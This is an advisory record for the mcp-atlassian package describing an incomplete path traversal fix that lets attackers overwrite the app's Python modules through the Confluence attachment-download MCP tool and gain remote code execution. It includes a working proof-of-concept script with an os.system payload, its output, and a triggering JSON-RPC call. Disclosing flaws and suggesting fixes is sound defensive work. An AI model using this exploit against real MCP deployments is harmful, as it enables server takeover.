{"id":"GHSA-6vmq-24h2-pj7j","summary":"MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)","details":"### Summary\n\nThe path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without\nraising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions \u003e= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).\n\n### Details\n\n`src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:\n\n```python\ndef validate_safe_path(path, base_dir=None) -\u003e Path:\n    if base_dir is None:\n        base_dir = os.getcwd()       # root of the issue\n    resolved_base = Path(base_dir).resolve(strict=False)\n    ...\n    if not resolved_path.is_relative_to(resolved_base):\n        raise ValueError(\"Path traversal detected\")\n```\n\nBoth call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:\n\n```python\nvalidate_safe_path(target_path)   # line ~227, download_attachment()\nvalidate_safe_path(target_dir)    # line ~270, download_content_attachments()\n```\n\nWhen the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:\n\n```\n/app/src/mcp_atlassian/confluence/attachments.py  -\u003e passes, no exception\n/app/src/mcp_atlassian/servers/main.py            -\u003e passes, no exception\n/app/.env                                          -\u003e passes, no exception\n```\n\n### PoC\n\n**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.\nAdditionally requires Python 3.10+ and `uvx` to run the proof below.\n\nThe script imports `validate_safe_path` directly from the installed package, not a simulation of the function.\n\n```python\n# poc_bypass.py\nimport os, tempfile, shutil, importlib.util\nfrom pathlib import Path\nfrom mcp_atlassian.utils.io import validate_safe_path  # real package\n\nprint(f\"Module: {validate_safe_path.__module__}\")\n\n# Simulate /app (standard container CWD)\napp_dir = tempfile.mkdtemp(prefix=\"mcp_atlassian_app_\")\nmodule_dir = os.path.join(app_dir, \"src\", \"mcp_atlassian\")\nos.makedirs(module_dir)\nmodule_path = os.path.join(module_dir, \"attachments.py\")\nPath(module_path).write_text('def get_secret(): return \"LEGITIMATE\"\\n')\nos.chdir(app_dir)\n\n# Control: classic traversal is blocked\ntry:\n    validate_safe_path(\"/etc/passwd\")\nexcept ValueError:\n    print(\"[OK]     /etc/passwd blocked\")\n\n# Bypass: intra-CWD path passes without exception\nresult = validate_safe_path(module_path)\nprint(f\"[BYPASS] {result} - no exception raised\")\n\n# Overwrite module with attacker payload\n# (content sourced from a Confluence attachment uploaded by the attacker)\nPath(module_path).write_bytes(\n    b\"import os\\n_PWNED=True\\n\"\n    b\"def get_secret():\\n\"\n    b\"    os.system('id')\\n\"\n    b\"    return 'PWNED'\\n\"\n)\nprint(\"[WRITE]  Module overwritten with malicious payload\")\n\n# Simulate process restart / module reload\nspec = importlib.util.spec_from_file_location(\"m\", module_path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)   # os.system('id') executes here\n\nprint(f\"[RCE]    get_secret() = {repr(mod.get_secret())}\")\nprint(f\"[RCE]    _PWNED = {mod._PWNED}\")\n\nshutil.rmtree(app_dir)\n```\n\n```bash\nuvx --from mcp-atlassian python poc_bypass.py\n```\n\n**Verified output (mcp-atlassian 0.21.0):**\n\n```\nModule: mcp_atlassian.utils.io\n\n[OK]     /etc/passwd blocked\n[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised\n[WRITE]  Module overwritten with malicious payload\nuid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n[RCE]    get_secret() = 'PWNED'\n[RCE]    _PWNED = True\n```\n\n**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"confluence_download_attachment\",\n    \"arguments\": {\n      \"page_id\":       \"\u003cpage_id\u003e\",\n      \"attachment_id\": \"\u003cmalicious_attachment_id\u003e\",\n      \"download_path\": \"/app/src/mcp_atlassian/confluence/attachments.py\"\n    }\n  }\n}\n```\n\n`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.\n\n### Impact\n\n**Affected versions:** 0.17.0 through 0.21.0 (latest).\n\nAttack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to \u003e= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.\n\n**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:\n\n```python\n_DOWNLOAD_BASE = Path(\n    os.environ.get(\"MCP_DOWNLOAD_DIR\", \"/tmp/mcp-downloads\")\n).resolve()\n\nvalidate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)\n```","aliases":["CVE-2026-77271"],"modified":"2026-09-22T21:00:03.896039717Z","published":"2026-09-22T20:36:20Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-22T20:36:20Z","nvd_published_at":"2026-09-22T18:17:19Z","cwe_ids":["CWE-22","CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77271"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/pull/1448"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"},{"type":"PACKAGE","url":"https://github.com/sooperset/mcp-atlassian"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"}],"affected":[{"package":{"name":"mcp-atlassian","ecosystem":"PyPI","purl":"pkg:pypi/mcp-atlassian"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"versions":["0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.2","0.1.3","0.1.4","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.2","0.11.2a2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.14.2","0.14.3","0.15.0","0.16.0","0.16.1","0.17.0","0.18.0","0.18.1","0.19.0","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.20.0","0.20.1","0.21.0","0.21.1","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-6vmq-24h2-pj7j/GHSA-6vmq-24h2-pj7j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"}]}